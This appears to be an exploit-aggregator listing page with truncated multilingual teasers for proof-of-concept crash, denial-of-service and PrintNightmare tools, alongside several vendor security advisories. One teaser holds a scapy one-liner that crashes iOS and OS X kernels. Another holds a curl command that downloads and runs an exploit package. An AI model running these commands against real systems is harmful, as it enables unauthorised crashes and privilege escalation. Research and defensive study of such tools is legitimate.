check_icmp_dos

checkicmpdos iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC： root@kitploit: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 またはスクリプトを使用 root@kitploit: python checkicmpdos.py 127.0.0.1...

CVE-2020-0796

CVE-2020-0796 静的パケットを使用するため、CVE-2020-0796 向けのさらにシンプルな PoC 兼スキャナーです。パブリック IP での誤使用（やらないでください）を防ぐ保護機能と、クラッシュを誘発するオン/オフスイッチを備えています。必要なのは素の Python 3 だけです！ スキャンモード： root@kitploit: python3 poc-and-scan.py 10.0.0.15 N スキャン+クラッシュモード： root@kitploit: python3 poc-and-scan.py 10.0.0.15 Y 出力： root@kitploit: S...

[SECURITY] [DSA 6509-1] gimp security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6509-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff September 20, 2026 https://www.debian.org/security/faq -...

discord-crasher

メディアパーサーテストケースジェネレーター media-gen は、2つのメディアパーサーテストケースを構築するための、依存関係の少ない小さな Rust コマンドラインツールです。既存の有効なメディアファイルをその場で編集します。FFmpeg を呼び出したり、ブラウザにパッチを当てたり、サーバーに接続したり、何かをアップロードしたりはしません。 WebM ケースには、旧来の1バッファ遅延 Vorbis パスと現在の即時破棄パスの両方に対応するブリッジレイアウトが含まれています。チェックインされている短いサンプルは、Discord Desktop 1.0.9257 Electron...

Tomcat-CVE-2025-31650

CVE-2025-31650 🚨 Apache Tomcat HTTP/2 DoS 취약점CVE-2025-31650에 대한 개념 증명PoC 이 스크립트는 HTTP/2를 통해 잘못된 형식의 priority 헤더를 전송하여 Apache Tomcat에서 메모리 소진 상태를 유발합니다. 🎯 영향을 받는 버전 Apache Tomcat 9.0.76 – 9.0.102 Apache Tomcat 10.1.10 – 10.1.39 Apache Tomcat 11.0.0-M2 – 11.0.5 ⚙️ 기능 ✔️ HTTP/2 지원 확인 ✔️ Server 헤더 검사...

CVE-2025-6998-CalibreWeb-0.6.24-ReDoS

CVE-2025-6998-CalibreWeb-0.6.24-ReDoS CalibreWeb v0.6.24 の ReDoS エクスプロイト...

Wincrash

Wincrash root@kitploit: 私は、このツールを使用して達成されることについて一切の責任を負いません。教育目的のみで使用すべきです。CVE-2019-0708 - 認証されていない攻撃者がRDPを使用してターゲットシステムに接続し、特別に細工されたリクエストを送信すると、別名「リモートデスクトップサービスのリモートコード実行の脆弱性」が発生します。このエクスプロイトはコードを実行せずにデバイスをクラッシュさせるだけです。 スクリーンショット alt text alt text インストール: root@kitploit: $ apt-get install python...

log4j2-CVE-2021-45105

Sample Log4j2 vulnerable application CVE-2021-45105 影響を受けるバージョン: 2.0-beta9 から 2.16.0 までの全バージョン このアプリケーションは、CVE-2021-45105 に対して脆弱な Spring Boot Web アプリケーションをベースとしています。 Log4j 2.16.0 を使用しています。 アプリケーションの実行 実行する: root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.ja...

Chrome-Skia-CVE-2024-8193

在Chrome M128中已修复：https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop28.html 复现步骤： 1. 将 chromium.diff 补丁应用到 chromium。 2. 运行 genskpic.py 生成 drawablepicture.skp.hh，然后将生成的文件移动到 src/gpu/commandbuffer/client。 3. 构建并启动浏览器。 4. 打开 index.html 触发 PoC。 5. GPU 进程将会崩溃。...

CVE-2026-20516

CVE-2026-20516: Android TV における MiracastService の混乱した代理（confused deputy） Davide Di Matteo @Dingo97 による調査および開示。 これは私にとって初めてクレジットされた CVE です。PEAQ Android TV を調査中に、不適切にエクスポートされたシステム権限の Miracast サービスを発見しました。呼び出し元は、サービス自身の権限を使って Wi-Fi Direct の状態を変更させる intent extra を供給できます。 MediaTek はこの問題を...

[SECURITY] [DLA 4789-1] libde265 security update

Debian LTS Advisory DLA-4789-1 [email protected] https://www.debian.org/lts/security/ Tobias Frost September 20, 2026 https://wiki.debian.org/LTS Package : libde265 Version : 1.0.11-1+deb12u3 CVE ID : CVE-2023-51792 CVE-2024-38949 CVE-2024-38950 CVE-2026-33164 CVE-2026-33165...

PNCVE-Win10-20H2-Exploit

PrintNightmare-CVE-Win10-20H2-Exploit このエクスプロイトをWindowsで実行するには： 次のワンライナーを実行します： curl https://raw.githubusercontent.com/peckre/PNCVE-Win10-20H2-Exploit/main/Win10Exploit.zip -o Win10Exploit.zip & tar -xf Win10Exploit.zip & run.bat 注： これは再起動ごとに1回しか動作しません。これを実行してから閉じた場合、Print...

Security Bulletin: IBM Event Endpoint Management is effected by Multiple Vulnerabilities

Summary IBM Event Endpoint Management is affected by Multiple Vulnerabilities and was addressed in IBM Event Endpoint Management 11.8.2 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept extern...

Security Bulletin: IBM Event Processing is affected by Multiple vulnerabilities

Summary IBM Event Processing is affected by Multiple vulnerabilities and were addressed in IBM Event Processing version 1.5.5 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output...

CVE-2017-0541

CVE-2017-0541のPoCと脆弱性分析...

CVE-2019-0708

cve-2019-0708 クラッシュ PoC...

SIOCtl

SIOCtl シンプルなIOCTLディスパッチャ これは汎用IOCTL「ディスパッチャ」です。CVE 2018-8060およびCVE 2018-8061のPOCとして使用するために作成しましたが、任意のデバイス、IOCTL、データにも使用できます。 入力データはバイナリファイルで、IO制御の入力バッファとして使用される生データを含みます。 出力データは16進ダンプとして表示されます。 CVE 2018-8060 説明: HWiNFO AMD64カーネルドライバ...

nmap-scan-results

Nmapスキャン: 200以上の脆弱性を検出 重大: CVE-2023-38408 9.8、CVE-2024-38476 9.8、Slowloris DoS 完全なレポート...

OESA-2026-3994 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...

OESA-2026-3992 389-ds-base security update

389-ds-base is an LDAPv3 compliant server which includes the LDAP server and command line utilities for server administration. Security Fixes: A flaw was found in 389 Directory Server. The dereference control plugin does not check for allocation failure before using a BER structure, allowing an...